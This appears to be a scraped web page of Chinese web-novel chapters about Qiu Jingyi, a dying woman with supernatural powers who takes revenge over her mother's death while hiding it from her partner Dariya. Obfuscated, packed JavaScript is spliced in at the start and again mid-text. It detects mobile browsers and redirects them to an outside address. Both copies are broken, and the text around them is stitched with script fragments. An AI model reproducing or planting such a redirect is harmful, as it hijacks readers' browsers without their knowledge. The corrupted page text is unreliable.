;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904731|192381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ya的房间静静坐在床边,她以为自己不用蹑手蹑脚走路小心翼翼开门就不会被Dariya发现,但她不知道的是,Dariya的嗅觉极其敏锐,总能闻到秋景翳身上那股淡淡的晚香玉的味道。 Dariya在秋景翳刚来的时候就醒了,她直觉秋景翳今天不太对劲,所以默许了这样的行为不做揭穿,她不知道秋景翳具体是什么时候离开的,毕竟装睡装久了自然而然就睡熟了。 早上闹钟响了之后秋景翳并不在身边,Dariya正常洗漱做早饭吃出门上班,但秋景翳却似乎没了前几天那股热情和亲近,书房门半掩着,她似乎一直在打电话,Dariya没进去打扰。 这样的事情一连好多天循环往复,秋景翳不说,Dariya也不问,她清楚如果秋景翳愿意告诉她的事不会藏着掖着,不想让她知道的事问了也是白问,谁心里不藏着点秘密呢,只是Dariya心里隐隐觉得不安。 面试完得到教授口头承诺这天,Dariya给秋景翳发了条消息报喜:「面试很顺利,应该过几天就能拿到正式offer了!」 中午发出的消息直到傍晚都没收到任何回复,这对常常秒回Dariya的秋景翳来说十分罕见,并且,这晚秋景翳一直没有回来,Dariya又发了条消息问她:「这么晚还没回来是不是遇到什么事了?」 依旧没有及时回复,本想等消息的Dariya实在撑不住迷迷糊糊睡了过去,不知过了多久,突然想起来这回事Dariya从睡梦中惊醒,看了看一直捏在手里的手机,差不多一个小时前秋景翳回了消息:「只是有点事要处理,别担心,我明天回去,你早点睡,晚安」 别扭,很别扭,Dariya心里这么觉着,她想还是需要和秋景翳把两个人都避而不谈的事摊开来聊聊,但现在显然不是合适的时间,于是她回了「晚安」,给手机充上电放在床头躺回被窝,想想又起身补了句:「等你回家」 可这次秋景翳却没能履行承诺,Dariya再一次闻到熟悉的晚香玉已经是两天后的凌晨了,那股淡淡的香甜里似乎还夹杂着些许其他陌生的味道。 秋景翳今晚没有像之前那样只是静静坐着,她伸手轻轻拨开Dariya额前有些睡乱了的发丝,盯着那张白玉无瑕的脸看了一会,俯身在Dariya眉心落了一枚仍带着室外凉意的吻。 Dariya的心脏瞬间收紧,她强忍着眼皮的颤动不想让秋景翳发现自己醒了,她想偷偷捕捉秋景翳只有在以为她不知情的情况下才会表露出的真实想法,她听到了秋景翳在起身时那声几不可闻地叹息。 秋景翳这两天去了很远的地方,因为不想被发现行踪,所以她频繁地使用了自己的能力,这导致她现在的状态很差,甚至快要无法藏匿气息。 缓了很久,直到挡住月亮的那朵云飘走,冰凉的月光洒在身上才让她觉得好受了一点,她借着那片素白端详“熟睡”的Dariya,她想,其实自己的人生也没有那么不堪回首,至少遇到了两件幸运的事。 ——近亲的后代,却没有痴傻或畸形,反而融合了父母双方的优良基因,妈妈的学习能力和优越外形,爸爸对赚钱的敏感度。 ——遇到Dariya。 秋景翳嘴角挑起了个很温柔的弧度,用不会吵醒人的分贝说:“谢谢你,还有…” 还有什么呢? 秋景翳止住了言语,思绪却飘远了。 ——我认识这个世界的时候它是黑白的,后来有了一抹无法褪去的血红,再后来我想用其它颜色填补,但总像是隔着层深色的薄纱,可你的出现让一切都变了。 我对你的感情,我想过可能是出于对那份我从未感受过的温暖的依赖,也曾以为那些心跳加速的瞬间不过是关于性最原始的吸引,直到我明白我的心疼因你而起。 每当有人和我说起他们的不幸,我虽然理解也会嘴上说些漂亮的安慰,但我心里其实没有任何波澜,我是个冷情的伪善者,但我心疼你,心疼你的过去你的现在你以后要面对的未知与不确定,我没有造成你的苦难,可我依然觉得抱歉。 从出生开始我就是一个错误,是被厌恶的存在,从遗传学的角度来讲,我一身隐性遗传病基因被筛选掉才好,直到你走进我的心里,我看见了正常人眼中五彩斑斓的世界,本以为我没有任何值得留下的东西,但我现在想自私地认为你是我留下的最有价值的遗产。 谢谢你喜欢我,谢谢你成为我不幸中的万幸,本来想开诚布公的和你谈谈,但有点可惜,闭嘴的理由先出现了,我的离开造成的遗憾和悲伤已经足够浓稠,雪上加霜的事能避则避吧。 还有…还有我没能说出口的话——Dariya,我喜欢你。 是普通人那种因为悸动,真心实意的喜欢。 可喜欢和爱是属于勇敢者的冒险,所以当我意识到的时候,退缩盖过了欣喜。 我很害怕,如此美好的你不该和死亡扯上关系。 如果…说再见的时候,你能听出我偷偷在里面夹杂着的告白就好了。 一滴液体落在Dariya手背上,带着刺骨的凉意剜得她整个人空落落的,脑海里刹那间蹦出了一个想法,秋景翳这样反常像是…要告别的人。 “你会不会离开我?”Dariya开口轻声问话却没睁眼看秋景翳,把余地留在清醒和睡梦之间。 秋景翳打算站起身的动作僵了一下。 “小秋…别走…” 秋景翳的手被Dariya虚虚拽着,僵持中她的余光飘去窗外,最终她还是用这个月唯一一个晴夜做借口躺在了Dariya身边,轻吻她的唇角,说:“我在,不走,睡吧。” 20. 隐情 三天前,宁城郊外的别墅区。 这片区域本来是政府规划的新开发区,不少房地产商选择在投资者里,后来因为政策和资金的原因,发展计划一直搁置,比商圈先落成的住宅区也属于半荒废状态。 秋景翳正站在其中一栋不起眼的别墅里,房子里的陈设很简单,但对于无人常住的地方来说,边边角角都被照顾得过于细致了——干净过头,像是刻意要抹去什么痕迹似的。 在二楼主卧里装修细节上和别墅整体有细微差异的浴室里,秋景翳找到了李敏藏着的毒|品和吸食工具,她戴着手套捏出一支注射器,脑子里弹出的第一个想法是她现在可以轻而易举地制造出一个李敏吸|毒过量死亡的现场。 从苏黎世回来后,秋景翳为调查当年的事找了私家侦探,好在秋宇炀二十多岁正式接管家族企业后的社会关注度一直居高不下,这让许多东西都有迹可循,尤其是与情|色和八卦有关的消息。 秋景翳从那一封封文件里锁定了这个女人——李敏,秋宇炀养过的替代品之一,之所以选中她,是因为她的脸上有微调的痕迹,调整的地方恰好让她有了程嘉曦的影子,可秋宇炀把程嘉曦这个秘密保守得很好,李敏又是如何得知程嘉曦的长相的呢? 深究下去,秋景翳发现这个女人真有意思,大学刚毕业就进了秋宇炀的公司做行政秘书,那是程嘉曦去世的前一年,而秋景翳在李敏的社会关系里看到了一个名字——陈衎(kan),李敏的某个不算亲的亲戚,因为是生僻字所以秋景翳有印象,这人曾在海城那个顶层豪宅里做过很长一段时间的保姆。 让秋景翳在意的是李敏的那些照片里佩戴的配饰,因为长时间刻意模仿别人,李敏早就把自己装进了另一个人的罩子里。 过去秋宇炀为哄程嘉曦开心挖空心思送礼物,但真正送到她心坎上去的是最后那段时间,秋景翳记得那时程嘉曦空洞沉寂的眼神里十分罕有地闪过了一丝光亮,而这些礼物的品味都和李敏拥有的这些风格相似。 选礼物这种事秋宇炀都是丢给秘书做的,也许最开始是误打误撞,但李敏很会举一反三和察言观色,她越来越会投其所好,也因此获得了秋宇炀的信任,秋景翳思来想去,排除了所有的不合理不可能,凶器能递进来的途径只剩送礼物。 程嘉曦死后李敏就没了用武之地,但她苦日子过怕了野心勃勃并不满足于做一个打杂的行政秘书,她企图在秋宇炀情绪低谷的时候勾引自己老板,却以失败告终,结合前后发生的事情,秋景翳很难不怀疑李敏可能得知了程嘉曦的自杀倾向并且出于追求利益选择顺水推舟。 又过了一段时间,李敏发现秋宇炀开始在外面养小情人,然而这些小情人不同于那个被他“保护”的很好多年没换的那个,都只是秋宇炀的玩具,接连换了三个,有男有女,李敏发现这些人都有相似之处,她不得不将他们和“替身”联系在一起,她费了一番心思最终从陈衎那里确认了猜想。 没有照片,只有根据陈衎的回忆画的一张人物侧写,李敏赌了一把,她辞职去整容,不能刻意相像,所以只微调了一些地方,最终的结果无疑是十分成功的,甚至可以被当作是年龄变化产生的长相变化,加上按照从前做秘书时总结出的一些特征刻意模仿,倒真有了几分程嘉曦的感觉,她如愿以偿入了秋宇炀的眼。 李敏是跟在秋宇炀身边时间最久的替身,因为她很会琢磨秋宇炀的内心,她唯一的纰漏就是因为太想要一个稳定的纽带了,因此触碰了秋宇炀的禁区——她们不是程嘉曦,替身不配有孩子,李敏想尽办法怀上了秋宇炀的孩子,带球跑路想生下来再做打算,没想到秋宇炀直接丢弃得彻底,于是她不假思索将这孩子物尽其用,搭上了别人总归过得富贵。 秋景翳从李敏的近照里看出了她神态和样貌的异常,调查发现她果然在吸|毒,并且有固定的频率和地点。 嗡嗡两声,秋景翳的手机震了,掏出来一看是Dariya问她怎么没回家的消息,注射器在手里打了个转,秋景翳捂着眼睛唇间泄出一声嗤笑,压抑下蠢蠢欲动的阴暗情绪,把东西归于原位。 楼下想起了开门声,秋景翳闪身去了外面,她亲眼看着李敏进门上楼把自己锁在房间里,为了不留下证据,别墅没装监控,秋景翳就这么不用遮掩地在院子里等,等李敏上头,等她神智涣散。 「只是有点事要处理,别担心,我明天回去,你早点睡,晚安」 回完刚刚打了岔忘回的消息,秋景翳出现在了李敏躺着的浴缸旁,Dariya拽着她的理智让她没有对此刻毫无防备无力还手的人下手。 秋景翳踹了踹浴缸,“喂,醒醒。” 药效上头的李敏听到声音费力扒开眼皮,但视线里全是光怪陆离,根本看不清声音的来源,迟缓的反应也让她没能觉察出有人窥探了自己的秘密,“嗯…?” 秋景翳在浴缸边缘坐下,耐心十足,“秋宇炀,认不认识?” “秋宇炀…秋宇炀…?死人渣!没心肝!” 秋景翳点点头赞许到:“嗯,精辟。” 李敏费力找回了一星半点的清醒,皱了皱眉头含糊不清到:“你…你谁啊?”看着那张白皙有一半都藏在大衣的立领里的脸,以及那双过于明亮的眼睛,她后脑勺不禁窜出股冷意,在潜意识地驱使下她想了想又问:“你是人...是鬼啊...” “我嘛…当然是鬼咯”,秋景翳顿了顿说:“你记不记得,你杀过秋宇炀的…爱人,别闭眼,好好看着我,你看我像不像那个人,嗯?”明明语气温柔得像是哄小孩,却能让人盗出一身冷汗。 “噗…哈哈哈哈哈…我…?杀她?我恨她想弄死她的时候,她早就已经死透了,我怎么杀?鞭|尸吗?”李敏对程嘉曦那张脸太熟悉了,她看着眼前这张只露出了和程嘉曦最相似部分的脸,“你...真是她啊...活见鬼了...哎哟我活见鬼了哈哈哈哈哈哈...” 秋景翳眼底的红又泛了上来,她扯着李敏的脖子阴仄仄地试探地问到:“你递的刀子?不记得了?” “呵…呵…你…是来寻仇的啊?”李敏的神智游离在外,逻辑什么的也顾不上,“那你可找错人了,我就是个…旁观者,连共犯...共犯都算不上。” 秋景翳受手上的力气又加重了两分,“你什么意思?” “秋宇炀明面上有个独子,你知道吧?他那时候才多大点,顶多高中,就有想弄死人的心思了,真不愧是秋宇炀的种,他知道自己爹在外面养了个重度抑郁的女人”,本来一直老实的李敏忽然剧烈挣扎起来,“是他把刀子塞进要送给你的礼物里的,是他,跟我没关系,我可不想得罪他,我还想让他看在我没揭穿的份上记得我的好呢,结果他连我是谁都不记得,你要找就找他去,我…无辜着呢…” 秋宇炀在外面养了人不是秘密,但这人是谁没人知道,李敏发现了秋晨的企图,那时候她想让少爷得逞并不是因为自己和秋宇炀之间有什么瓜葛,只是单纯地想让少爷知道,自己虽然发现了他的意图但并不会揭穿,恰到好处地卖他一个人情。 目标明确,利欲熏心,李敏只在乎结果,至于过程是如何不择手段的都不重要,如果她成功站在高位,所有人评论起她的过往都会自动带着欣赏的滤镜,帮她找好美化的借口,如若一直待在井底,那又有谁会在乎自己做过什么。 秋晨啊秋晨,这故事里原来还有这样的隐情啊,活该你带着解不开的心结痛苦一辈子,秋景翳冷笑着松开了手,“你无辜?要点脸嗯?你知道发生了什么却没阻止,虽然是自杀,但你和秋晨都是从犯,你一点也不冤枉。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904732|192381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 浑身无力的李敏头磕在陶瓷浴缸上发出一声脆响盖住了她吃痛的呻|吟,从眼前阵阵发黑中缓过神的时候,浴室里又只剩她一个人了,她呆滞地对着空气一遍一遍质问,“我不要脸?我不要脸?我他妈就想过好日子,怎么就不要脸了?” 已经站在室外的秋景翳借着夜晚的冷气缓解心头的恶心,她匿名举报了李敏吸|毒,等听到警笛声逼近,确认今晚缉毒科不会无功而返后她才离开了别墅区。 秋景翳如夜游的鬼魅一般站在凌晨的街头,只有零星赶着早市出摊的商贩偶尔路过,忙于为生计奔波的人并不会多留一个眼神给她。 冷静下来后,秋景翳又进行了一次复盘,让她无法安息的事就是和自己身世有关的那一摊烂事,她在抽丝剥茧的过程里确实感觉到身体变得轻松了一点,她要真相要始作俑者付出代价,至于Dariya,再放不下也是自己死后才发生的事,不过还好面试结果不错,她会有一个至少可以称得上安稳的未来。 该好好生活的人死于看不到尽头的绝望,不该来到这个世界上的人被迫承受无尽痛苦,造成这一切的罪魁祸首却在寻欢作乐,“要是能杀掉秋宇炀就好了”,这样的想法以程嘉曦的声音回荡在秋景翳脑海中,学法律这么多年塑造的原则和底线在逐渐变得模糊,她却无法阻止这个进程。 秋景翳靠在墙边迫切地想把这个魔咒一样的声音从脑子里赶出去,可惜大脑不是播放器没有暂停键,对Dariya声音的渴望在此刻达到了巅峰,她拿出手机,看到了两条新消息。 「晚安」 「等你回家」 秋景翳像是被抚慰了的炸毛小动物一样,脑袋里恼人的背景音瞬间安静了下来,只是那抹轻笑的尾音染上了落寞的呢喃,“你应该怕我,然后走得远远的…” 在附近公园的长椅上坐到天亮,女巫嘱咐秋景翳能少用能力就尽量少用,于是她叫了辆车启程去了市区,确切的说是李敏家。 李敏的日常住所位于一所名校的学区内,秋景翳等保姆送李敏的孩子出门上学后进了她家,家里倒是布置得十分温馨,任谁看了也不会想到这是一个瘾君子的家。 其实秋景翳想要给李敏教训的话,她能列出无数种办法,然而她最终选择在李敏吸|毒这件事上做文章,是因为李敏的姘头陈飞,也正是电视柜上全家福里的除了小孩以外的另一个男主角。 都说儿子像妈,李敏的儿子确实更像她,至于爸爸么,人都是两只眼睛一个鼻子一张嘴,总能找到点相像的地方,但在秋景翳的眼睛里这孩子明显更像另一个人,当初拿到资料的时候,关于李敏带球跑路的这段并没有太多具体的信息,也可能遭遇变故秋宇炀的孩子并没能留下来,但在秋景翳看到小孩照片的时候她几乎瞬间就打消了这个疑虑。 她盯着照片里的小男孩看了一会,然后轻轻叹了口气,说:“小可怜,我尽量不误伤到你好吗?至于其他的…我也爱莫能助了。” 不得不说,高价请的私家侦探办事就是靠谱,反馈回来的资料细节到能让秋景翳分析透每一个人物的本质,陈飞是个劣迹斑斑为非作歹的疯子,用来当枪使再合适不过,秋景翳想一环扣一环还真是鸿运当头。 秋景翳知道自己的行为构成了作恶的闭环,最终形成的结果亦无法象征公正,但她连时间都所剩无几,只能用灵魂控诉,连同错误的诅咒一起陨灭。 她将一张做了旧并且在日期上做了手脚的亲子鉴定书放在李敏存放证件的抽屉里,还附赠一张秋宇炀少年时期未经媒体曝光的照片,这张照片是秋景翳精心挑选的,因为照片里秋宇炀的眉眼看起来和李敏儿子的几乎一模一样。 诱饵紧密包裹着尖锐带有倒刺的鱼钩,秋景翳掌握鱼线的另一端,静静等待小鱼被穿死在鱼钩上。 21. 心桥 那晚迟来的晴天不是转瞬即逝,而是难得地持续到了周末。 Dariya早上刚睁眼拿起手机就被BBC的消息刷了屏,是最近轰动全球的跨国儿童色情暗网平台案件。 该平台涉及儿童色情,暴力,虐待以及贩卖,注册会员超200万人,涉案人员逾百人,受害儿童不计其数,多个服务器分布于东南亚和南美地区,经多国警方共同调查侦破,于伦敦时间今日凌晨正式收网。 孩子是人性与良知的底线,报道铺天盖地,无论是电视新闻还是社交媒体无一不在关注和追踪这起案件的最新进展。 案件细节被逐步公示和披露,图片和视频无疑比文字来的更加直击心灵,Dariya不自觉皱眉,忽然一抹白皙盖住了沉重的灰暗,秋景翳坐在吧台对面,纤长的手指轻轻盖住Dariya的手机屏幕,“别看了,先好好吃饭。” “人的变态真的没有底线”,Dariya放下刀叉,盘子里已经凉透的煎蛋只吃了一小半,她已经完全没了食欲,“小秋,这种案子是不是一般都只有一部分小喽啰被推出来挡枪,背后那些资本和权贵还是照常纸醉金迷。” “嗯”,秋景翳无奈笑笑,点点头,“现代文明嘛,野蛮的政策被替代掉了,野蛮的思想却还保留着,法律其实并不客观,杂糅了立法者的主观意志,看似完备的条条框框实则满是空子,这个案子最终的尘埃落定还遥遥无期呢,区域管辖权引发的冲突,审查起诉,审判,一审法院判决后的上诉等等,加上案件情节复杂,中间可操作的空间也很大,所以…可能最终既没能保护受害者的权益还让犯罪人逃避了制裁。” 手机里的新闻直播没停,案件涉及福利机构贩卖儿童的灰色产业链,尤其是在涉外收养合作关系*建立后。 “真恶心”,秋景翳啧了一声,“我有时候觉得其实中世纪简单粗暴的审判和酷刑挺实用,犹太的摇篮痛苦梨刺穿什么的*,冷战之后世界开始重视人权,刑罚也朝着尊重罪犯演变,人权的确是与生俱来的,但我主观认为尊重他人人权的人的人权才配得到尊重。” 人类的精神世界过于复杂因此各种矛盾也层出不穷,Dariya觉得自己研究数学和物理真是清净,符号和数字比人可爱多了,要是像秋景翳这样游离在现实主义和理想主义中间她肯定会精神分裂的,“小秋你是真的很喜欢学法律吧…” 秋景翳回答这个问题时的声音带了点颗粒,“是啊,很喜欢,但也很讨厌。” Dariya忍不住想伸手摸摸秋景翳的脸,奈何胳膊长度不及吧台宽度,只能尴尬地停在半空,“那种割裂感和无力感一定很不好受吧”,她在想,当天真和世故同时出现在一个人身上的时候,怎么会有种致命的吸引力呢? 秋景翳坐在高脚凳上,两只脚随意地踩在踏脚杆上,手撑着凳沿稳住重心,主动倾身靠近,用脸贴上Dariya温热的掌心蹭了蹭,“社会科学的研究嘛总是这么纠结,没办法咯,除非~大家一起变回猴子。” Dariya像捏面团似的捏了捏秋景翳的脸颊,故作端详地笑着说,“要是变回猴子了,你也是最漂亮的那只。” “嗯!我对我的脸还是很有自信的”,秋景翳被捏着脸嘴也嘟了起来,说话都像含了颗枣似的。 新闻直播报道到了心桥基金会为该暗网平台提供了大量儿童,该基金会会长陈飞在接受中方检察机关调查后,并无证据表明他本人与此次儿童贩卖案件有直接联系。 秋景翳侧目仅仅一瞬就收回了目光,“Dariya。” Dariya看秋景翳正了颜色,于是松开了手,“嗯?” “如果…如果我变了你会不会讨厌我…?” 秋景翳冷不丁冒出来这么一句Dariya没能跟得上她话题的转变,“什么?” “没什么”,秋景翳垂眼摇摇头。 就在Dariya以为话头到这就要生硬地结束了的时候,又听见秋景翳小声说了一句:“你要一直记得我好的样子好不好?” “我永远永远都不会讨厌你的,你在我心里一直都特别特别好,是最好的”,Dariya又被不安占据了整个大脑,她和秋景翳中间有颗谁也不愿意触碰的雷区,其实主要是秋景翳不愿提及,Dariya不知道自己在这件事上要怎么做才合适,于是只能在脆弱的平衡上小心翼翼地僵持着,她忍不住试探地问:“小秋,你是不是…有事瞒着我?” “没有”,秋景翳的语气和神态没有丝毫破绽,“等会我要出去一趟。” “要不要我陪你一起?反正我也没事”,Dariya下意识就接上了这句话。 秋景翳愣了一下,“难得你这么主动要一起出去,平常都得我哄着你才出门”,她起身帮忙把碗碟收进洗碗机,歪着脑袋碰了下Dariya,“下次吧,今天外面很冷,我只是去律所送个材料就回来。” Dariya悬着的心稍稍放下来一点,“好啊,那就下次。” 去律所是真的,但送材料是假的,但这借口秋景翳的背景用起来天衣无缝。 陈飞从南美回国有段时间了,那是在听到风声之后的事,回来没多久警方那边就开始行动了,他老老实实接受调查,火烧屁股了也看不出一点慌张。 心桥基金会被群嘲狗屁传递爱心明明是“黑心的桥梁”,可就算吃瓜群众都不信会长无罪,清白的结果也早在他第一次踏入检察机关接受问询前就拟定好了。 除了黑心事本就做得隐蔽,替陈飞背黑锅的人也早已伏法,而他,做为金钱和权利的门童,利益纠葛傍身,他关系着许多人的仕途许多人的蛋糕,所以他不会有事,应该说,他们不会让他有事。 关于这个人的争议不是义愤填膺的看客空穴来风,陈飞家里早年没逃过扫黑除恶,但他那时和家里牵扯不深,所以只被判过七个月有期徒刑,出来之后他遇到了同样落魄的李敏,俩人之间这段关系的起源是相互利用。 不久,陈飞在李敏的帮助下重新振作起来,他们虽没有结婚,陈飞在外面玩得也花,强迫的也没少干过,真追究起来这些都是违法行径,但李敏的分量多少是不一样的,陈飞的二进宫是因为实施儿童性暴力未遂,李敏用尽手段把他保了出来。 虽然这些让人不齿的事件都被可以压着,但现在网络发达总能扒出些蛛丝马迹,这种人会突然转了性去做慈善当然有很多人不买账。 在涉外收养关系落成之后,中国很快成为欧美收养儿童的主要来源国*,出发点是好的,但同时也导致福利院和贫困地区成为滋生非法人口交易的温床。 陈飞正是钻了这个狗洞混的风生水起,他虽然不干人事,但有些东西也是完全不碰的——毒|品,虽然以前家族的生意里有这么一条线,但家族里自己的人绝对不能沾这东西,这不,他听说李敏吸|毒被抓,托了关系让上面的人赶紧走完流程,这才刚把自己摘干净家都没回就火急火燎赶往宁城。 他急不是为了去里面捞人,而是去把李敏和自己有关联东西处理干净,在他眼里祸患就该直接断个干净,要是他干正经营生,这样的作风都该被人夸一句拎得清。 自恋自负,缺乏自制力,易怒报复心强,是性犯罪者的特点,陈飞还混得如鱼得水更加狂妄自大,这样的人有主意却也容易钻牛角尖被人牵着鼻子走,秋景翳不用费多大力气就能把他推进万劫不复。 这正中秋景翳下怀,做旧的亲子鉴定结果和秋宇炀少年的照片并非是为了让陈飞直接相信这孩子是谁的,而是要模棱两可惹人怀疑,他一直只相信利益不相信他人,但李敏因为机缘巧合成为了 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顶级公寓的露天阳台坐拥伦敦最完美的日落,一支烟燃到头,最后一缕阳光也被地平线吞噬,对秋景翳下咒的时候秋晨用了自己的血,所以秋景翳有变化他也能感受得到。 孔助理接到老板电话时,正准备和女朋友擦枪走火,奈何火星子还没擦出来枪管就被一句“去查查秋景翳最近干了什么好事,连个人都看不住,盯着她的人都是吃干饭的吗?换点靠谱的人来!”浇了个透心凉。 这一晚下来,电话邮件无数,孔助理的良宵么…下次一定! 好容易捱到下班时间,Dariya正准备关电脑准备走人,突然邮箱弹了个提醒出来,以为是工作邮件,差点就要装瞎等着明天上班了再看,还好留了意发现是教授的研究团队发来的邮件,在油然而生的紧张与兴奋中Dariya耐着性子仔仔细细确认了两遍之后,她才迫不及待地打电话给秋景翳分享这个好消息,“小秋,我收到offer了!” “真的吗?!那太好了!” Dariya听到电话里嘈杂的声音,“你在外面吗?晚上要不要出去吃饭庆祝一下!” 秋景翳今天从学校回来的早,本打算来找Dariya一起回家,结果刚到Dariya公司附近的公交站,前脚才走下车后脚就接到了电话,“我在…”秋景翳话到嘴边拐了个弯,“不告诉你,你猜,嘿嘿,我订餐厅,等会见~”她捏了捏外套口袋里的小盒子,“我还有个东西要送给你。” 说着话Dariya已经出了公司门,她打趣到:“你是不是早就知道了什么小道消息不告诉我,然后自己偷偷提前准备了礼物啊?” “Umm,你说是就是咯。” Dariya越听越觉得对面的环境音有种怪异的熟悉感,她狐疑地问:“你是不是在…” 你是不是在附近。 话还没说完,Dariya就被一个她并不想看到的不速之客拦住了去路。 秋景翳:“嗯?你刚说什么?怎么不说话了?” Dariya捂着话筒,避开秋晨的正脸,“没,你等等我,我可能要稍微晚一点。” “加班吗?没关系啊,我等你。” 秋晨这张脸别人看了犯花痴,Dariya看了就太阳穴突突直跳,像见了瘟神似的,尤其是这人现在面色异常凝重,那股不安又在Dariya心里翻腾,她下意识对着秋景翳脱口而出:“你…你保证”,尾音都带了颤。 秋景翳不明所以地咬了下嘴唇,眼睛快眨了两下,还是笑着用哄人的语气说:“我~保~证~会等你的,好啦,你忙去吧~” 挂了电话,Dariya眉头蹙着,她语气急躁地问秋晨,“?你怎么在这?…出什么事了?” “秋宇炀,也就是我和秋景翳的父亲,他失踪了。” 22. 好眠 “失踪了…所以?”Dariya不确定这事和秋景翳有什么关系,她并不想秋景翳掺和进去,可毕竟秋晨都站在面前了,所以刚刚那一瞬间的怀疑和不安并不是无中生有。 “坐着说吧”,秋晨指了指一旁的咖啡店,少爷车接车送向来穿得不多,伦敦还没入春的烈烈妖风可扛不住多久,钥匙打着哆嗦嘴唇青紫说话比唱戏还怎么维持他的公众形象。 秋景翳正巧在路口转弯过来,她一眼就看到了Dariya的背影,正要腹诽一下员工下班要回家了又被喊回去加班,这是什么杀千刀的黑心老板,就看到Dariya身边还跟着一个高大的衣着过分考究的男人。 好死不死,这人秋景翳认识,不仅认识,还偏偏是剪不断理还乱的关系,可独独不该和Dariya扯上任何关系,满面春风在秋景翳脸上被打回严冬。 她大概猜得到秋晨的目的,她十分讨厌这样横插一脚的变数,就像电影里的主角明明马上就要迎来一个和缓的落幕时总有傻缺出来搅局,奈何主街人多眼杂有监控,她只能沉着脸加快了脚步。 秋晨把能串联整件事的片段挑挑拣拣地告诉了Dariya,比如秋景翳查到了李敏,对着近来忙着擦屁股的陈飞点火焦油,给秋宇炀来了一招釜底抽薪云云。 秋晨喝了口咖啡润喉,进入今天的正题,“我呢,不让秋景翳从这个世界上消失,我先摆条件,你她一条命,你能重新振作起来她的功劳不小,至于你的孩子她也可以成为交易的一部分,她会衣食无忧也不用担惊受怕”,小汤匙在杯壁轻磕出一声脆响,他这话也是在警示:‘只要我想,把你们扔回垃圾堆里也只是顺手的事’,但他还不想用这么直白的逼迫,因为他觉得Dariya会答应他接下来的要求,“等需要的时候,你愿意把这条命还给她吗?” “还?”Dariya属实想不到命能怎么还,但她只是问:“你确定可行?” “当然也有失败的概率”,秋晨如实回答。 “我愿意”,Dariya几乎没有犹豫,因为Jasmine这个她唯一犹豫的点被秋晨解决掉了。 秋晨挑了挑眉,眼里是谈完一场称心买卖的满意神情,“不错,明智的选择。” Dariya正要张嘴说些什么,就被小桌旁边一个带棒球帽少年的惊呼打断了,“Wow!Nicecatch!” 循声看去,那小孩本来正低头刷着手机往外走,结果和刚进来听到Dariya被秋晨忽悠着为自己去死所以没留神路人的秋景翳撞了个正着,小孩手机没拿稳脱手而出被秋景翳顺手一捞,免于落地屏幕四分五裂的惨状,又惊又喜一声感叹。 秋景翳转头就走,“小秋”,Dariya起身追出去,秋晨紧随其后,在几米开外的小巷子里跟丢了人。 “算了”,秋晨气息有些不稳,“我现在要去机场先回国处理失踪的事,她最近…不太安生,你盯着她点,有什么异常及时找我”,他递了张名片出去。 Dariya接过名片,明知没必要但还是对秋晨说:“我愿意只是因为我爱她,比任何人都心疼她,希望她能拥有本该拥有的一切,和报恩没关系,和你说的交易也没关系,那是你获取了你想要的利益理应给予我的报酬,无论怎么做你都抵消不了自己的罪恶,你这辈子都别想求一个心安理得!” “行”,秋晨挑了挑嘴角,不知内情的人看了都会觉得那是一个让人十分舒心的温和的笑,但Dariya知道他皮笑肉不笑,“要的就是你心甘情愿”,秋晨其实没觉得心情有那么不爽,毕竟这样成功率越高,商人重利,却也深谙既要又要不现实,他的确想要抚平这道坎,但眼下留得青山在更重要,来日方长,“这个你留着。” Dariya接过秋晨递来的绒布袋,里面是一条极细的项链,若是用来贿赂人心,对秋晨来说未免太过寒酸,显然是别有他用,“?” “以防万一。” 咖啡店里的对话催生出的烦躁与恼意灼烧着秋景翳的肺腑,她知道身后有人在追,却还是头也不回地拐进了不会被发现的小巷子瞬移回了公寓。 心脏的剧痛为手指做了掩饰,等稍稍平复下来,秋景翳松开紧攥着的小盒子,才发现手指早已硌出血痕,不过这血痕在她松手时准瞬即逝。 秋景翳掏出不安生的手机,目光自动屏蔽其他的推送只锁定在其中一条,「小秋,你在哪,我们谈谈好不好?」,她在键盘上敲了删,删了敲,最终退而求其次发了条定位然后关了机。 正值晚高峰,Dariya毕竟要乘坐交工具,路上的地下的,哪一种都快不了,她进门的时候屋子里已经不见秋景翳的踪影,“小骗子。” 人就是这样不死心,明知不可能却还总想抓着那点不存在的希望不放手,Dariya仍是挨个房间查看了一遍,最后在自己的枕头边发现了一个烫了金色火漆的朱红信封和一个通体深褐的木质方盒。 撬开蜂蜡,信封里折着一张复古烫金花纹的黎黄色信纸,一展开,墨水的味道就撕开气管直冲胸腔,Dariya很喜欢闻墨水和纸页的味道,这种味道会催生出一种硬朗厚重的感觉压在心底让人平静,但此刻她只觉得像造成组织缺血和坏死的血栓,堵得慌,并且这辈子再也不会喜欢了。 她的手指描摹过那简短却郑重的文字,光滑圆润的字母似乎还带着墨水的潮湿,信纸的纤维扫过指尖如带刺的荆棘磨破血肉。 「TheessenceofthineexistenceliesnotwithJasmine,nordothitresidewithinme.Onlybytetheringthesignificanceuntothyselfcanstthoutrulyendureintherealmofliving.」 ——你人生的意义不是Jasmine,也不是我,把意义寄托在自己身上,你才是真正的活下来。 既然是用来告别的最后一封信,秋景翳其实有很多话想说,腹稿打了一篇又一篇,最后落笔却只剩下这么一句。 哪怕是绝笔,哪怕再也没机会了,也没有留下一句剖白,遗憾吗?当然遗憾,可临终前吐露的真心话是一种对生者的自私,秋景翳不愿把自己的不留遗憾转化为Dariya余生都褪不去的回南天。 